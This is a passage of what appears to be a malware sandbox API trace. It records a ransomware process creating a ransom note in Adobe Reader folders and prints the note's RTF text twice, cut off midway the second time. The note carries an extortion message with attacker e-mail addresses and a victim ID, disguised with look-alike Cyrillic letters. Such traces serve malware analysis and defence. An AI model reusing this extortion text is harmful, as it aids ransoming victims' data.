lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0033.929] CloseHandle (hObject=0x1cc) returned 1 [0033.929] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CZE\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cze\\!bwng_info!.rtf")) returned 0xffffffff [0033.929] GetLastError () returned 0x2 [0033.930] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CZE\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cze\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0033.930] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0033.930] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 